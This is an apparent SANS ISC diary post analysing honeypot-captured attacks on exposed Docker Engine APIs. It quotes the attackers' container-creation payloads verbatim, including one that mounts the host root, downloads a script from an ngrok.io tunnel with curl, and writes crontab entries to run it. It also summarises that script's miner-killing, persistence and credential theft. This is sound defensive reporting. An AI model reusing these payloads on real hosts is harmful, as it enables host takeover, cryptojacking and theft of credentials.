Moby the Shark
By default the Docker Engine API listens on a unix socket only, but the http interface can be configured and will listen to port 2375. If you need to have a http listener, configure it to listen on local ip's only. Shodan will give almost 800 accessible Docker Engine API's. The Open Docker Engine API's is being actively scanned, as we've detected in our Honeytrap network.
Scanners identifying by useragent Mozilla/5.0 zgrab/0.x are checking for existence of /v1.16/version. Url /containers/json is being checked by scanners with useragents:
- python-requests/2.20.0*
- Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
- Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)
But we've seen two types of actual attacks the past days, one that starts a Cryptominer container, the other trying to own the Docker host itself.
The first attack has been seen to check the response of url /v1.18/info first, using the Docker client useragent Docker-Client/1.6.0. Next it executes the following steps:
- create a container (/v1.18/containers/create), based on the default ubuntu image, while binding the /root/.ssh folder to the container with payload:
{"Hostname":"","Domainname":"","User":"","Memory":0,"MemorySwap":0,"CpuShares":0,"Cpuset":"","AttachStdin":true,"AttachStdout":true,"AttachStderr":true,"PortSpecs":null,"ExposedPorts":{},"Tty":true,"OpenStdin":true,"StdinOnce":true,"Env":[],"Cmd":["/bin/bash"],"Image":"ubuntu","Volumes":{},"WorkingDir":"","Entrypoint":null,"NetworkDisabled":false,"MacAddress":"","OnBuild":null,"Labels":{},"HostConfig":{"Binds":["/root/.ssh:/tmp/.ssh"],"ContainerIDFile":"","LxcConf":[],"Memory":0,"MemorySwap":0,"CpuShares":0,"CpusetCpus":"","Privileged":false,"PortBindings":{},"Links":null,"PublishAllPorts":false,"Dns":null,"DnsSearch":null,"ExtraHosts":null,"VolumesFrom":null,"Devices":[],"NetworkMode":"bridge","IpcMode":"","PidMode":"","CapAdd":null,"CapDrop":null,"RestartPolicy":{"Name":"no","MaximumRetryCount":0},"SecurityOpt":null,"ReadonlyRootfs":false,"Ulimits":null,"LogConfig":{"Type":"","Config":null},"CgroupParent":""}}
- attach to the console (/v1.18/containers/e90e34656806/attach?stderr=1&stdin=1&stdout=1&stream=1)
- start the container (/v1.18/containers/e90e34656806/start)
- resize the console (/v1.18/containers/e90e34656806/resize?h=25&w=80)
- verify the configuration (/v1.18/containers/e90e34656806/json)
The other attack we encountered:
- software using the useragent Go-http-client/1.1 scans for accessibility of url /v1.12/version.
Using useragent Swipely/Docker-API 1.34.0 the following actions were done:
- pull image byrnedo/alpine-curl:0.16 (/v1.16/images/create?fromImage=byrnedo%2Falpine-curl%3A0.1.6)
- verify the pulled image (/v1.16/images/byrnedo/alpine-curl:0.1.6/json)
- create a new container based on the pulled image, bind the root folder of the host to the container, download a script from ngrok.io. Configure cron to run the downloaded script using the binded host volume (/v1.16/containers/create)
{"Image":"sha256:9d899e1f01f4d19923e8212ffa34bfbb0c21d4ee498fff0b2c2f69b9bf665265","Entrypoint":"/bin/sh","HostConfig":{"Binds":["/:/tmpb9c9f0"]},"Cmd":["-c","curl --retry 3 -m 60 -o /tmpb9c9f0/tmp/tmpfile97cc76838c10360eb66a8bce1c6c3b14d \"http://d95f755c.ngrok.io/f/serve?l=d\u0026r=97cc76838c10360eb66a8bce1c6c3b14\";echo \"* * * * * root sh /tmp/tmpfile97cc76838c10360eb66a8bce1c6c3b14d\" \u003e/tmpb9c9f0/etc/crontab;echo \"* * * * * root sh /tmp/tmpfile97cc76838c10360eb66a8bce1c6c3b14d\" \u003e/tmpb9c9f0/etc/cron.d/1m;chroot /tmpb9c9f0 sh -c \"cron || crond\""]}
- start a new container (/v1.16/containers/e90e34656806/start)
- wait for the container to be started (/v1.16/containers/e90e34656806/wait)
- check the logs (/v1.16/containers/e90e34656806/logs?stderr=true&stdout=true)
- check the configuration (/v1.16/containers/e90e34656806)
Using ngrok.io localhost servers can be exposed externally using a subdomain of ngrok.io. The installed script (which can be found here) does the following:
- install trap to run finish function (this will send a report to $HOST/m?o=$(pido)&r=${RIP}&t=${PROCS}&l=d&u=${_usr})
- make and change to dir /tmp/.sysinfo
- store the number of processors
- kill all active crypto miners
- clear immutable flag, remove and disarm by creating directory for /tmp/Circle_CF.png, /tmp/kcore, /tmp/BoomBoom, /usr/bin/ntpd
- check running processes for known miner hashes, kill and replace them with an empty bash script, change attribute to immutable
- download executables d8/daemon and d8/nginx and run
- if nanopool exists in /etc/hosts then overwrite with empty hosts file
- find and steal contents of credentials and .npmrc. Deliver to $HOST/c?r=${RIP}.
- generate file /usr/sbin/scoutd whlch will find and pause other miner docker containers, and containers will be cleaned if being paused for longer than a day
- configure cron to run the script /usr/sbin/scoutd every minute
- kill some more miner processes (.koo, .scsid)
- kill any stale wget / curl processes
Ngrok.io have been disabling the abusive tunnels.
IOC:
References:
- Docker Engine API documentation (https://docs.docker.com/engine/api/v1.19/)
- Bash script (https://gist.github.com/nl5887/7557f62bf065a1afc691bbd7c3ce0c9e)
Remco Verhoef (@remco_verhoef)
ISC Handler – Founder of DutchSec
PGP Key
Comments